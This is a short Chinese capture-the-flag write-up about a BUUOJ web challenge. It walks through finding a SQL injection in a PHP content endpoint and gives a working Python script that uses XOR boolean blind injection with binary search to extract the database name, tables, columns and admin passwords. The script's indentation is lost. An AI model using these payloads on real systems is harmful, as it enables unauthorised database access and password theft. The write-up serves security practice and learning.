登录抓包
这是一段以json传入的数据,起初对着这个一直想json注入,然后发现怎样注入都行不通
回到热点列表
发现更改后面的数字会变,谷歌浏览器f12 network
发现有个php文件,进去
数据存放在这里了,输入双引号的时候发现弹出这个
sql注入无疑了
刚开始的id是1,由此推断可能是整形注入
但是联合查询,报错都没用
bp测试看他究竟过滤了啥
啥都没过滤
卡了挺久的,翻了翻自己博客
极客大挑战finalsql
异或布尔盲注
这题有个坑,他返回的是json的格式,我们进行json转换后,还得将它转为字符窜,才能正确找到
import requests
flag=''
#查库名
payload1 = '1^(ascii(substr((select(database())),{},1))>{})^1' #库名为news
#查表名
payload2 = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'news\')),{},1))>{})^1' #表名为admin,contents
#查字段
payload3 = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'contents\')),{},1))>{})^1' #admin表里有id,username,password,is_enable
# contents表里有id,title,content,is_enable
#查字段值
payload4 = '1^(ascii(substr((select(group_concat(password))from(admin)),{},1))>{})^1'
for i in range(1,100):
low =28
high =137
mid = (low + high) // 2
while(low < high):
url = 'http://4131c114-1800-4626-9601-5d7928856dd7.node3.buuoj.cn/backend/content_detail.php?id='
payload = payload4.format(i,mid)
url+=payload
print(url)
r = requests.get(url)
text = str(r.json())
if "札师傅缺个女朋友" in text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if(chr(mid)==''):
break
flag +=chr(mid)
print(flag)
print(flag)
跑出来两组用户名和密码,输入第二组即可得到flag